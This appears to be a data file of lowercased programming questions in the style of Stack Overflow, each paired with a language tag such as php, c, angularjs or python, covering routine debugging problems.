0x1007cc938 &lt;+504&gt;: bfxil  w10  w0  #12  #6     0x1007cc93c &lt;+508&gt;: and    x11  x11  #0xff     0x1007cc940 &lt;+512&gt;: str    x11  [sp  #8]     0x1007cc944 &lt;+516&gt;: orr    w12  wzr  #0x1     0x1007cc948 &lt;+520&gt;: b      0x1007cc854               ; &lt;+276&gt;     0x1007cc94c &lt;+524&gt;: brk    #0x1 </code></pre>   <strong>why is a line within a function that s not being called causing a crash </strong>,ios
visual studio 2015 cs0103 the name  res  does not in the current aspx context  i get  cs0103 the name  res  does not in the current samples.aspx context  error in vs 2015.  the samples.aspx has a <code>&lt;div id= res  runat= server &gt;&lt;/div&gt;</code> defined to receive the text message from the code behind. any idea    <pre><code>public partial class samples : system.web.ui.page {  protected void page_load(object sender  eventargs e) {      res.innerhtml = function();  } private string function() {   // to something then return a string.     return  text to res ;   } } </code></pre>,asp.net
uitextfieldvalidation in iphone  i have a uitextfield and i am validating text field and the validation is adding  - (hypen)for every 3 numbers. and it is working fine     and the code is as follows  but now i want to change the validation in such a way that to restrict no of characters to 10 and adding  -  after 3rd and 7th place dynamically while entering and editing  [ex:123-456-7890] it should be done while editing also...   <pre><code>- (bool)textfield:(uitextfield *)textfield shouldchangecharactersinrange:(nsrange)range replacementstring:(nsstring *)string {  nsstring *separator = @ - ; int seperatorinterval = 3; nsstring *originalstring = [textfield.text stringbyreplacingoccurrencesofstring:separator withstring:@  ];  if (![originalstring isequaltostring:@  ] &amp;&amp; ![string isequaltostring:@  ]) {      nsstring *lastchar = [textfield.text substringfromindex:[textfield.text length] - 1];     int modulus = [originalstring length] % seperatorinterval;      if (![lastchar isequaltostring:separator] &amp;&amp; modulus == 0) {          textfield.text = [textfield.text stringbyappendingstring:separator];     } }  return yes; </code></pre>   }  but now i want to change the validation in such a way that to restrict no of characters to 10 and adding  -  after 3rd and 7th place dynamically while entering and editing<br>    [ex:123-456-7890] it should be done while editing also...,iphone
how to prohibit repositories usage   let s imagine the following contour (i assumed we use asp.net mvc but it doesn t matter much for this question)   <ol> <li> we have repositories that are used directly from controllers </li> <li> some of repositories methods need to be treated some specific way  combined  cached etc. so we create services for these cases. so now some of repositories methods should be accessed from services but not directly. what are the ways to control repositories methods are used from the right place  </li> </ol>   i see the following way:    do not use repositories directly at all - use them only from services (we even may make repositories internal and visible only to services assembly). but in this case we have to create repostories methods  wrappers even for methods that could be used from repositories directly.    but i m pretty sure there are more interesting  beauty and flexible ways to implement it...,.net
what versions of .net are divided into client and full versions   i m trying to implement:   <pre><code>bool isfulldotnetversion() {  } </code></pre>   (i need to know if system.web is present in runtime in a excel plugin i m writing.)    i ve been directed to <a href= https://stackoverflow.com/questions/199080/how-to-detect-what-net-framework-versions-and-service-packs-are-installed/199783#199783 >this question</a> but it s answer doesn t clearly describe if it s enough to check if the registry key  hklm\software\microsoft\net framework setup\ndp\v4\full\install  is present.     is it      aren t other versions of .net divided into client or full versions     what are the steps (registry keys ) i need to take to determined in any environment if the full version of .net is installed,.net
what are the steps need to consider to migrate windows based applicaotin from 1.1 to .net 3.5  can anyone tell me main steps to consider while migrating 1.1 to 3.5 windows based applicatoin     what are the steps need to consider at initially while planing for migration  as per i know this applicatin i need to migrate like wsf and wpf and soo on.    thanks,asp.net
populate a collection select from available locales rails 5  i have a form where i would like users to be able to select the interface language but i want this to get populated from the available locales like the following.    <a href= https://i.stack.imgur.com/iz3vw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/iz3vw.png  alt= enter image description here ></a>    here is what i have in the form.   <pre><code>  &lt;div class= field &gt;     &lt;%= f.label :locale %&gt;&lt;br /&gt;     &lt;%= f.collection_select :locale  :translated_locale  i18n.avilable_locales  :translated_locale %&gt;     &lt;/div&gt; </code></pre>   and here is the <code>translated_locale</code> method in <code>user</code> model   <pre><code> def translated_locale     i18n.t(locale)   end </code></pre>,ruby-on-rails
android:java interface: imageview  i have encoded image in string.i want set src in html.it possible .my code to set text here!!!   <pre><code>mwebview.setwebchromeclient(new webchromeclient()); mwebview.getsettings().setjavascriptenabled(true); // settings.setjavascriptenabled(true); mwebview.getsettings().setdomstorageenabled(true);   mwebview.setwebviewclient(new webviewclient() {     @override     public void onpagefinished(webview view  string url) {        string javascript =  javascript:(function()     {document.getelementbyid( msg ).innerhtml= hello })() ;  view.loadurl(javascript);     } }); refreshwebview(); return view; }  private void refreshwebview() {  mwebview.loadurl(url); } @override public void onclick(view v) { refreshwebview(); } </code></pre>,android
configuration error on initializedata= <app root directory>\asptesttrace.log  />  i am following the walkthrough: integrating asp.net tracing with system.diagnostics tracing document and when i get the section on routing all tracing output to .net framework tracing it said to add the following the to the trace section in the  web.config    <pre><code>&lt;add name= testtracer           type= system.diagnostics.textwritertracelistener  system  version=2.0.3600.0  culture=neutral  publickeytoken=b77a5c561934e089           initializedata= &lt;app root directory&gt;\asptesttrace.log  /&gt; </code></pre>   the  <code>initializedata= &lt;app root directory&gt;\asptesttrace.log  /&gt;</code> part is giving a compile error. in visual studio the it said the  app root and directory part need tags.  when  run the default.aspx page there error shown in the webpae is    <h2>server error in  /  application.</h2>   configuration error  description: an error occurred during the processing of a configuration file required to service this request. please review the specific error details below and modify your configuration file appropriately.    <pre><code>parser error message:  &lt;   hexadecimal value 0x3c  is an invalid attribute character. line 25  position 27.  source error:    line 23:         &lt;add name= testtracer  line 24:           type= system.diagnostics.textwritertracelistener  system  version=2.0.3600.0  culture=neutral  publickeytoken=b77a5c561934e089  line 25:           initializedata= &lt;app root directory&gt;\asptesttrace.log  /&gt; line 26:       &lt;/listeners&gt; line 27:     &lt;/trace&gt; </code></pre>   of i am stumped what is wrong,asp.net
angular ng-show does not reflect value of condition  i have an angular template with a form for user data. some fields like name and address only show if the user needs an invoice:   <pre><code>&lt;div class= personal-details  ng-show= showinvoicefields() &gt;     &lt;!-- input fields here... --&gt; &lt;/div&gt; </code></pre>   i have a function <code>showinvoicefields()</code> in the scope that returns true if the current user has  invoice role  or if the product requires an invoice.   <pre><code>  $scope[ showinvoicefields ] = function () {     console.log( hasinvoicerole:   + $scope[ hasinvoicerole ]);     console.log( product: );     console.log($scope[ product ]);     return $scope[ hasinvoicerole ] || $scope[ product ].needsinvoice;   }; </code></pre>   that part of the form is initially hidden until a product is selected from a dropdown. initially  i read this in the console because the user doesn t have invoice role:   <pre><code>hasinvoicerole: false product needs invoice: undefined undefined </code></pre>   when i select a product that requires invoice  i read:   <pre><code>hasinvoicerole: false product needs invoice: {... a ver big object...  needsinvoice: true  ...} </code></pre>   however the fields don t show. this only happens in production. maybe there is something specific about the minified code that causes the issue,angularjs
works on localhost but not on web server....session_start(): cannot send session cache limiter - headers already sent  i am a newbie to php and have tried everything and also tried the forum threads to try and fix this but after a week - i feel i am no nearer.     the localhost version works fine - no problem. however  when i upload it  it presents me with the following messsage:   <blockquote>    session_start(): cannot send session cache limiter - headers already sent (output started at /home/idigital123/public_html/index.php:2) in /home/idigital123/public_html/index.php on line 41  </blockquote>   here is the code:   <pre><code>&lt; php require_once( connections/idigitalconn.php );  &gt;  &lt; php if (!function_exists( getsqlvaluestring )) { function getsqlvaluestring($thevalue  $thetype  $thedefinedvalue =     $thenotdefinedvalue =   )  {   if (php_version &lt; 6) {     $thevalue = get_magic_quotes_gpc()   stripslashes($thevalue) : $thevalue;   }   $thevalue = function_exists( mysql_real_escape_string )   mysql_real_escape_string($thevalue) : mysql_escape_string($thevalue);   switch ($thetype) {     case  text :       $thevalue = ($thevalue !=   )       . $thevalue .     :  null ;       break;         case  long :     case  int :       $thevalue = ($thevalue !=   )   intval($thevalue) :  null ;       break;     case  double :       $thevalue = ($thevalue !=   )   doubleval($thevalue) :  null ;       break;     case  date :       $thevalue = ($thevalue !=   )       . $thevalue .     :  null ;       break;     case  defined :       $thevalue = ($thevalue !=   )   $thedefinedvalue : $thenotdefinedvalue;       break;   }   return $thevalue; } }  mysql_select_db($database_idigitalconn  $idigitalconn); $query_recordset1 =  select login.username  login.password from login ; $recordset1 = mysql_query($query_recordset1  $idigitalconn) or die(mysql_error()); $row_recordset1 = mysql_fetch_assoc($recordset1); $totalrows_recordset1 = mysql_num_rows($recordset1);  &gt; &lt; php // *** validate request to login to this site. if (!isset($_session)) {   session_start(); } $loginformaction = $_server[ php_self ]; if (isset($_get[ accesscheck ])) {   $_session[ prevurl ] = $_get[ accesscheck ]; }  if (isset($_post[ username ])) {   $loginusername=$_post[ username ];   $password=$_post[ password ];   $mm_flduserauthorization =   ;   $mm_redirectloginsuccess =  header/ks3yr7.html ;   $mm_redirectloginfailed =  index.php ;   $mm_redirecttoreferrer = false;   mysql_select_db($database_idigitalconn  $idigitalconn);    $loginrs__query=sprintf( select username  password from login where username=%s and password=%s       getsqlvaluestring($loginusername   text )  getsqlvaluestring($password   text ));     $loginrs = mysql_query($loginrs__query  $idigitalconn) or die(mysql_error());   $loginfounduser = mysql_num_rows($loginrs);   if ($loginfounduser) {      $loginstrgroup =   ;      if (php_version &gt;= 5.1) {session_regenerate_id(true);} else {session_regenerate_id();}     //declare two session variables and assign them     $_session[ mm_username ] = $loginusername;     $_session[ mm_usergroup ] = $loginstrgroup;             if (isset($_session[ prevurl ]) &amp;&amp; false) {       $mm_redirectloginsuccess = $_session[ prevurl ];       }     header( location:   . $mm_redirectloginsuccess );   }   else   {     header( location:  . $mm_redirectloginfailed );   } }  &gt; </code></pre>,php
select record  and if it has children  select the newest child instead  i have a table:   <pre><code>element_id  element_parent_id </code></pre>   records are:   <pre><code>1  null 2  1 3  1 4  null </code></pre>   so  visualization might look like:   <pre><code>1   2   3 4 </code></pre>   the question is  how to select for:   <pre><code>form_id 3 4 </code></pre>   ...in other words: how to select parent if there is no children  or the newest child if those children exist. so far i managed to select for:   <pre><code>1 and 4 2 and 3 1  2  3 and 4 </code></pre>,sql
i am trying to create a simple login app with angularjs using routing but event is not handled  i am trying to create login app using only angularjs i have used routing of angularjs initially div in which  ng-view  is defined routes to login page .but after entering the username and password when i click button nothing happens i.e event is not handled.. below is code for index page:   <pre><code> &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;title&gt;login app&lt;/title&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js &gt;&lt;/script&gt;     &lt;script src= angular-route.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body ng-app= mylogin &gt; &lt;h1&gt;login page&lt;/h1&gt; &lt;div ng-view&gt;&lt;/div&gt; &lt;script&gt;     var app=angular.module( mylogin  [ ngroute ]);     app.config(function($routeprovider){         $routeprovider         .when( /  {             templateurl: login.html          })         .when( /dashboard  {             templateurl: dashboard.html          })         .otherwise({             redirectto: /          });     });  app.controller( loginctrl  function($scope $location)         {             $scope.submit=function()             {                 var uname=$scope.username;                 var pwd=$scope.password;                 if($scope.username== admin  &amp;&amp; $scope.password== admin )                 {                     $location.path( /dashboard );                 }             };         });  &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   below is code for login page:   <pre><code>    &lt;div ng-controller= loginctrl &gt; &lt;form action= /  id= mylogin &gt; username:&lt;input type= text  id= username  ng-model= username &gt;&lt;br&gt; password:&lt;input type= password  id= password  ng-model= pasword &gt;&lt;br&gt; &lt;button type= button  ng-click= submit() &gt;login&lt;/button&gt;     &lt;/form&gt; &lt;/div&gt; </code></pre>,angularjs
mysql query returns too many results with double join  ok i m trying to return these 4 values for any entry in simacc_payments that has a verified value of 0.   <pre><code>    select themes.value  members.real_name  simacc_payments.pay_amt  simacc_payments.pay_date     from simacc_payments     inner join members     on simacc_payments.id_member = members.id_member     inner join themes     on simacc_payments.id_member = themes.id_member     where verified =  0      order by members.real_name asc  simacc_payments.pay_date desc </code></pre>   the array i m getting out as my result comes out like this  simplied   <pre><code>    real_name  id_member  pay_amt  pay_date     real_name  value  pay_amt  pay_date     real_name  id_member  payments.pay_amt  payments.pay_date     real_name  value  pay_amt  pay_date </code></pre>   so every second entry in the array is correct  i know this has something to do with the join but i can t for the life of me figure out how to fix it.  please someone give me the answer while i still have some hair left :),mysql
understanding the execution results from a while loop and system.out.println  hello i m currently having difficulty understanding the process involved in the execution of while loop with the addition of added arrays. i understand the arrays and loops its just the difficulty is with the understanding of this line of code. i have searched every source i could think of but nothing seems to help me better understand it. i ran the code in my eclipse  and the answers are presented in my console. i just cannot figure out how are they being processed. i would be really grateful is someone could help me out  thank you.    <pre><code>      import javax.swing.japplet;        public class systemexecutions extends japplet      {      int x=1  y=-5  z=4; // global variables       int vals[] = {-6 2 -4 -8  -2 -3}; // global variables         public void init()       {      setview();///execution results       setvalues();///exact output        }     public void setview()//////////////////////////////execution results    { boolean flag = false;    int count = 0; int j=0;    int array[] = { 5  3  5  5  3  5};    system.out.println( );    while ((!flag) &amp;&amp; (j &lt; array.length-1))    { if (array[j] == array[j+1] )    flag=true;    else count++;    ++j;    system.out.println( flag   + flag +   j   + j    +   count  + count);    }    system.out.println( flag   + flag +   j   + j    +   count  + count);    }           /*ouput:             flag false j 1 count 1             flag false j 2 count 2             flag true j 3 count 2             flag true j 3 count 2          */      public void setvalues()////////////////////////////exact output       {char y =  r ;      z=10;      system.out.println( l1:  +x+   +y+   +z);      y=call1(x y z);      system.out.println( l2:  +x+   +y+   +z);      x=call2(x vals);      system.out.println( l3:  +x+   +y+   +z);      for (int i=0; i&lt;3; i++)          system.out.println( l +(i+4)+ :  +vals[i*2]);        }        public char call1(int a  char b  int c)        {if (a &gt;= c) return b;          else       { c=15;       z=25;       return  m ; // note the single quotes        }       }       public int call2(int x  int [] anarray)       {int y = 0;      for (int i=anarray.length-1; i&gt;=0; i--)      {if (anarray[i] &gt; x)      {anarray[i] = x + 5;y++;}       }          x=100;       return y; }       }         /*output:             l1: 1 r 10             l2: 1 m 25             l3: 1 m 25             l4: -6             l5: -4             l6: -2           */ </code></pre>,java
2 column css floated layout  pulling my hair out with this simple css layout. i have a 2-column fixed layout with a header and a footer all contained in a wrapper. i need the  left  background area in the css to automatically extend to the footer when the content in the  right  column is longer (as in the attached. i have tried  height: 100%;  and this does not work.    can anyone help      <a href= http://eyes-open.com/index.html  rel= nofollow noreferrer >http://eyes-open.com/index.html</a>,css
unwanted effect on ul li hover  i have a menu that has the following code (a large amount removed for simplification)   <pre><code>&lt;div id= mega-wrapper data-sticky_column&gt; &lt;ul class= mega-menu menu_red &gt;   &lt;li class= home-li &gt;&lt;a class= drop  href= http://localhost/doorentrydev/ &gt;home&lt;/a&gt;&lt;/li&gt;  &lt;!-- bof offers --&gt; &lt;li&gt;&lt;a href= http://localhost/doorentrydev/index.php main_page=filename_offers  class= drop &gt;offers&lt;/a&gt;&lt;/li&gt; &lt;!-- eof offers --&gt;  &lt;li class= spacer &gt;&lt;/li&gt;  &lt;li class= cartinfo &gt;&lt;a class= cartinfo  href= http://localhost/doorentrydev/index.php main_page=shopping_cart  class= drop &gt;0&lt;span class= carttext &gt;item(s) | £0.00ex vat&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;/ul&gt; &lt;/div&gt; </code></pre>   cartinfo is a section to the right to show cart value and count. my problem is that the cart area is being affected by the :hover css on the ul and i can t for the life of me find a way to prevent it.    i tried using    <pre><code>.cartinfo li:hover{border:none; padding:o;} </code></pre>   to cancel out the css that is set on the other li s for the grey hover but this had no effect whatsoever. i ve tried so many different variations that i ve forgotten what i have and haven t tried. it s probably something so simple that i have just overlooked.  the only hover effect i want on .cartinfo is an underline on the text.    fiddle is <a href= https://jsfiddle.net/xmfnqwz0/  rel= nofollow >https://jsfiddle.net/xmfnqwz0/</a>,css
validating input with isdigit for a factorial program  i wrote the following code in c to make a program which calculate the factorial of any number.    i want to add to my program some validation/error handling  such as preventing random characters  floats or negative values from being entered  so i used the <code>isdigit</code> function.    unfortunately there is a hidden problem which i don t know how to solve. when i enter any input it considers it to be false (i.e. not a digit) even if it s a positive digit.   <pre><code>#include &lt;stdio.h&gt; #include &lt;ctype.h&gt;  int main() {     char choice;     unsigned long long int factorial=1;     int counter number;     for(;;)     {         printf( please   enter a positive integer number only :  );         scanf( %d  &amp;number);         fflush(stdin);         if(isdigit(number))         {             for(counter=number;counter&gt;1;counter--)             factorial*=counter;             printf( the factorial of number %d is %llu  number factorial);         }         else         {             printf( \a\aerror\n );             continue;         }         printf( \n1-press c or c if you want to calculate the factorial of a new number\n2-press any key         if you want to exit the program\n  );         scanf( %c  &amp;choice);         if(choice== c ||choice== c )         {             factorial=1;             system( cls );             continue;         }         else         return 0;     } } </code></pre>,c
how to exclude unselected items (php)  i m currently working on this order form: <a href= http://www.libertydelimart.com/order  rel= nofollow >http://www.libertydelimart.com/order</a>    right now  all the items get posted to my email - regardless of weather information has been entered into the  how many  text box.    what is the best way to exclude items that don t have anything entered in the  how  many  text box  so that only the items that do have information entered are emailed to me    <pre><code>&lt; php if(isset($_post[ submit ])) {  $to =  test@mywebsite.com ;  $subject =  new order ; $name_field = $_post[ name ]; $phone_field = $_post[ phone ]; $food = $_post[ food ];  $body =  name:   . $name_field . php_eol .  phone:   . $phone_field . php_eol;  //check if any food items were set in order to prevent foreach error if($food){   foreach ($food as $key =&gt; $item) {     $body .= $key .   -   . $item [ how_many ];     if($item[ customize ]) $body .=   ( .$item[ customize ]. )  . php_eol;   }   }  echo  your order will be ready in 30 minutes! ; mail($to  $subject  $body  from: deli &lt;$to&gt; ); print  &lt;pre&gt; .$body. &lt;/pre&gt; ; }  &gt; </code></pre>,php
pg::numericvalueoutofrange for column string   i keep getting this error although the column is a string. this error comes when i output into my html   <pre><code>pg::numericvalueoutofrange: error:  value  10152858807121189  is out of range for type integer : select   users .* from  users   where  users . id  = $1 limit 1 </code></pre>   my application controller:   <pre><code>class applicationcontroller &lt; actioncontroller::base   # prevent csrf attacks by raising an exception.   # for apis  you may want to use :null_session instead.   protect_from_forgery with: :exception    def current_user     @current_user ||= user.find(session[:user_id])   end    helper_method :current_user end </code></pre>   migration file:   <pre><code>class createusers &lt; activerecord::migration   def change     create_table :users do |t|       t.string :provider       t.string :uid       t.string :name       t.string :first_name       t.string :last_name       t.string :image_url       t.string :email       t.string :access_token       t.string :access_secret       t.string :refresh_token       t.string :expires_at        t.timestamps     end   end end </code></pre>,ruby-on-rails
single line if statement objective-c  how would one go about writing a one line if statement in objective-c  is there a proper style for this     i know of the ternary operator used for assignment (<code>int a = condition   b : c</code>) but say i wanted to call a method is <code>if(condition){ [self methodcall]; }</code> the recommended way of dealing with this in one line     in addition are there any objc style guides out there  (think comparable to <a href= https://github.com/bbatsov/ruby-style-guide  rel= noreferrer >this ruby style guide</a>) coming back to a language after a while of not touching it makes me want to rethink how i style my code.,objective-c
use of letters for doing matrix math in javascript  i m doing a course in quantum computation. in it  we represent possible actions  or operators  by <strong>matrices</strong>. i ve been looking into creating a webpage for solving these maths problems. it is also a small challenge for myself in order to freshen up my js.    i ve been looking at various options  like <a href= http://sylvester.jcoglan.com/  rel= nofollow >sylvester</a>  mathjax and mathml.    <strong>problem:</strong> however  none of the above appear to give functionality for using <strong>letters</strong> throughout my computation.    for instance  in quantum computation we often use multiply a matrix containing unknowns alpha and beta  with other matrices.     this is the sort of math i need to do:    <a href= http://i.stack.imgur.com/vh9dk.gif  rel= nofollow >http://i.stack.imgur.com/vh9dk.gif</a>    ideally  i d write this in the style of:    m=[[a] [b]]  which of course  i cannot. further  i d be able to multiply to get  2*a  etc.     any suggestions,javascript
detecting keys pressed on a div  i need to detect keys pressed on a div. <a href= http://plnkr.co/edit/89hbozsjt6ac8lsea0q5 p=preview  rel= nofollow noreferrer >in this plunk</a> i have a div  but if i first click on it and then press a key (for example del) then no event happens. how to make this work     html   <pre><code>click on the div and press a key: &lt;div ng-keypress= pressedkey($event) &gt;  &lt;/div&gt; key pressed: {{mykey}} </code></pre>   javascript   <pre><code>angular.module( app   [])  .controller( ctl   function($scope) {      $scope.pressedkey = function(event) {         $scope.mykey = event.key;       }  }); </code></pre>,angularjs
how can i reserve an iphone app name in apple s developer portal   i want to reserve an app name that i intend to build out over the next 90 days  how do i do this in apple s web developer portal,iphone
c file processing and matching help  i have an assignment in college in which we are required to read in two .dat (aascii) files that we created with an earlier program  both of which are sorted.    one is a client account file  which contains the clients balance and account number and name  the other is a transaction file that contains the account number and the transactions for that account.    this program has to match the account numbers and create a new and updated clients file by adding the transaction amount to the balance of the client based on the accounts number.    i have this working fine except for when there is a duplicate transaction for example if the transaction file contains 2 separate transactions for the 2nd client my code will print the updated balance after both transactions instead of a cumulative balance.    i am just wondering if anyone can shed any light on how to solve this problem. my code is attached  thanks in advance.   <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; int main() {      int account matches=0;     /* account number */     char date[ 30 ]; /* account date */     double balance  saleamount total=0  x;  /* account saleamount */     int transaccount;     char name [ 30 ];        file *cfptr;     /* cfptr = clients.dat file pointer */     file *ctptr;    /* cfptr = transaction.dat file pointer */     file *cfptr2;    /* cfptr2 = new client file */      cfptr2 = fopen(  clientupdate.dat    w  );      /* fopen opens file; exits program if file cannot be opened */      if ( ( cfptr = fopen(  clients.dat    r  ) ) == null ) {         printf(  clients could not be opened\n  );         fflush(stdin);     } /* end if */     else         if( ( ctptr = fopen(  transactions.dat    r  ) ) == null)         {             printf(  file could not be opened\n  );             fflush(stdin);         }     else { /* read account  date name  balance and saleamount from files */         fscanf( cfptr   %d%s%lf   &amp;account  &amp;name  &amp;balance );         fflush(stdin);          fscanf( ctptr   %d%s%lf   &amp;transaccount  &amp;date  &amp;saleamount );         fflush(stdin);          printf(  %-13s%-10s%s\n      account    name    balance  );         printf( |----------------------------------|\n );         while( !feof(ctptr))         {                 while( !feof(cfptr) &amp;&amp;matches==0 )             {                     if(account == transaccount)                 {                    matches=1;                     total=0;                     x = balance+saleamount;                     total = total + x;                     balance = total;                   printf(   %-10d%-10s%.2lf\n   account  name  total);                 }                 else                 {                      fscanf( cfptr   %d%s%lf   &amp;account  &amp;name  &amp;balance );                     fflush(stdin);                 }                 }             fprintf( cfptr2   %d %s %.2lf\n   account  name  total );             fscanf( ctptr   %d%s%lf   &amp;transaccount  &amp;date  &amp;saleamount );             fflush(stdin);            matches=0;          }          fclose( cfptr2 );         getch(); } </code></pre>,c
begginner issue with prime number generating  now i am not asking for a full answer as i could probably find a ready answer somewhere after digging but i just need a small hint of what im doing wrong. my problem is that although i do get prime numbers in my output there are multiple consecutive repetitions of the same number.  hope someone can subtly guide me and thanks to anyone who offers help :)    <img src= https://i.stack.imgur.com/67zf6.png  alt= enter link description here >,objective-c
ensure unique input is entered and stored in an array  is this program ok  or can it be improved (but simply)  how do i make sure no repeat numbers are entered    <pre><code>int n; int array[9];  cout&lt;&lt; enter number between 9-0 only &lt;&lt;endl; for(int i = 0; i&lt;=10; i++){     cout&lt;&lt; enter number  &lt;&lt;(i+1)&lt;&lt;endl;     cin &gt;&gt; n;     if((n &gt;= 0) &amp;&amp; (n &lt;=9)){        array[i]=n;      }         else{         cout&lt;&lt; numbers from 0-9 only\n &lt;&lt;endl;          break;     }  } </code></pre>,c++
get monthly report in sql  i got in my data base colums logs  data  type how to get logs from year from now with month distinction f.ex: row   <pre><code>logs =  error...  data = 2012-11-05 11:24:08 type = 1 </code></pre>   .... and i want get them in that view   <pre><code>month     logs-count   type january     100         1 january     100         2 february    160         1 february    120         2  .... </code></pre>,sql
getting the next data piece out of an array for a loop  i have temperature data stored in an array  but need to use that data for a while loop. what i have so far is:   <pre><code>      public int belowvaluecounter(string tempvaluein)       {          int.tryparse(tempvaluein  out tempvalueout);         int checkvalue = tempdata[0];           while (tempvalueout &gt; checkvalue)         {             belowcounter++;         }         return belowcounter;        } </code></pre>   i just don t know how to increment <code>tempdata[0]</code> so that it moves on to <code>tempdata[1]</code> to repeat until the while loop condition is satisfied. thanks!,c#
how to check whether a mutable array object exists in objective-c   i m a newbie of the world of objective-c.    what i d like to know is how to check whether a mutable array object exists.    here is an exmaple.   <pre><code>if(![appdelegate.answerlist objectatindex:3])     {         answer = [[nsmutablearray alloc] init];     }     else     {         answer = [[nsmutablearray alloc] initwitharray:[appdelegate.answerlist objectatindex:3]];     } </code></pre>   above this code   answer  object is local  and  answerlist  object is on appdelegate class.    both are nsmutablearray objects.    i don t know whether answerlist s third object is allocated or not.     if it already has an object  i wanna just copy an object from answerlist s third object.    but that code doesn t work.    i m not familiar with objective-c s methods.    please show me the way.,objective-c
difference between  #id li{...}  and  #id > li{...}   i came across these two somewhat similar things. in one of my applications  there is a difference between these two  especially when using <code>ie7</code>. i wonder: what is the big difference between these two. feel free to elaborate and site links.,css
bitbucket issue post using using python and requests  i m trying to do a simple post using python and the requests module. it appears that when i run the code  it returns the correct status code  but the issue doesn t appear on my public issues page. since the page is public it doesn t require any logins authentications for posting issues. does anyone know what i m doing wrong here  why doesn t it show in bitbucket    <pre><code>import requests import json  url =  https://bitbucket.org/jokermartini/wingbin/issues  r = requests.post(url  data={ title :  new issue }) print(r.status_code  r.reason) print(r.text[:300] +  ... ) </code></pre>   output:    <pre><code>(200   ok )  &lt;!doctype html&gt;  &lt;html lang= en &gt;      &lt;head&gt;         &lt;meta id= bb-bootstrap  data-current-user= {&amp;quot;iskbdshortcutsenabled&amp;quot;: true  &amp;quot;issshenabled&amp;quot;: false  &amp;quot;isauthenticated&amp;quot;: false}  /&gt;         &lt;meta http-equiv= x-ua-compatible  content= ie=edge  /&gt;            &lt;meta charset= utf-8 &gt;            &lt;title&gt;   ...  [finished in 0.7s] </code></pre>,python
converting std::string to std::vector<char>  i am using a library which accepts data as a <code>vector</code> of <code>char</code>s. i need to pass a <code>string</code> to the library.    i think about using <code>std::vector</code> constructor which accepts iterators to carry out the conversion - but wondered if there is a better way of doing it    <pre><code>/*note: json_str is of type std::string*/ const std::vector&lt;char&gt; charvect(json_str.begin()  json_str.end());  </code></pre>,c++
is there a sample source code for home automation on android   i wanted to know how the home automation is done in android. if anyone has a sample code of a single switch button for a light to switch on or off..    it would be helpful for me..i wanted to know how the coding is being done of this.    thanks in advance,android
"code acts differently when placed within a function  i constructed a simple switch/case statement that works well. with the press of the enter key  each case is randomly drawn and removed from the array until nothing remains.     however  when i click a button to call a function which contains the same switch/case statement  the code doesn t work the same. rather than reaching the end of the array  each press of the enter key continually draws a random case without ever ending.     it appears that my array is resetting with every key press. how come the code doesn t function the same when within a function     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var casesdrawn = [0  1  2];
 document.body.addeventlistener(  keyup   function (e) {
   if ( e.keycode == 13 &amp;&amp; casesdrawn.length &gt; 0) {
     randselect();
   }
   function randselect(){
     var randnum = math.floor(math.random() * casesdrawn.length);
     var num = casesdrawn[randnum];
     casesdrawn.splice(randnum  1);
 
     switch (num){
       case 0:
         document.getelementbyid( show ).innerhtml =  case 0 selected ;
         break;
       case 1: 
         document.getelementbyid( show ).innerhtml =  case 1 selected ;
         break;
       case 2:
         document.getelementbyid( show ).innerhtml =  case 2 selected ;
         break;
     }
   }
 });
 
 function myfunction(){
   var casesdrawn = [0  1  2];
   document.body.addeventlistener(  keyup   function (e) {
     if ( e.keycode == 13 &amp;&amp; casesdrawn.length &gt; 0) {
       randselect();
     }
     function randselect(){
       var randnum = math.floor(math.random() * casesdrawn.length);
       var num = casesdrawn[randnum];
       casesdrawn.splice(randnum  1);
 
       switch (num){
         case 0:
           document.getelementbyid( show ).innerhtml =  case 3 selected ;
           break;
         case 1: 
           document.getelementbyid( show ).innerhtml =  case 4 selected ;
           break;
         case 2:
           document.getelementbyid( show ).innerhtml =  case 5 selected ;
           break;
       }
     }
   });
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p id= show &gt;&lt;/p&gt;
 &lt;button onclick= myfunction() &gt;click to jump to function&lt;/button&gt;
 
       </code></pre>
 </div>
 </div>",javascript
uiactionsheet & human interface guidelines  i have taken to using the uiactionsheet as a form of delivering critical error messages to the user -- for example  when attempting to save invalid contents i may put up an action sheet with a single button informing the user of the error.    my question is whether this is apt to run afoul of hig or cause problems with the app store acceptance   it isn t over-used  but only on rare occasions where an error message describing the nature of the problem is essential.    anyone know about this     tia,ios
download the content of a url and save it  i have this format of data from a url   <pre><code> [{ column1 : something   column2 : something 2   column1 : something3   column2 : something4 }  etc] </code></pre>   i want to download this content from the url and save it into a csv file in this format:   <pre><code> column1     column2  something   something2  something3  something4 </code></pre>   can i do it with python using urllib2  or any other library,python
php - should i call exit() after calling location: header   after calling the redirect function header  should i call exit or not    <pre><code>&lt; php // filea $urlfailtogoto =  /formerror.php ;  if (sth) {    header(sprintf( location: %s   $urlfailtogoto));    exit(); //should i call exit() here  or return  }   &gt; </code></pre>   thank you,php
when does a return statement break a function   i m getting  control reaches end of non-void function  with this code:   <pre><code>class solution { public:     vector&lt;int&gt; solutions;     vector&lt;int&gt; twosum(vector&lt;int&gt;&amp; nums  int target)      {         for(int i = 0; i &lt; nums.size(); i++)         {             for(int j = i+1; j &lt; nums.size(); i++)             {                 if(nums[i] + nums[j] == target)                 {                     solutions.push_back(j);                     solutions.push_back(i);                     return solutions:                 }             }         }     } }; </code></pre>   i thought a return statement was supposed to break a function as soon as it s reached  any help is appreciated. thanks!,c++
iphone application landsape mode issue  as my application working fine in portrait mode but if i change it to landscape mode  my design look weird can any one help is it any common mechanism to design for portrait as well as for landscape mode and which event get fire when we change actual device from portrait to landscape mode,iphone
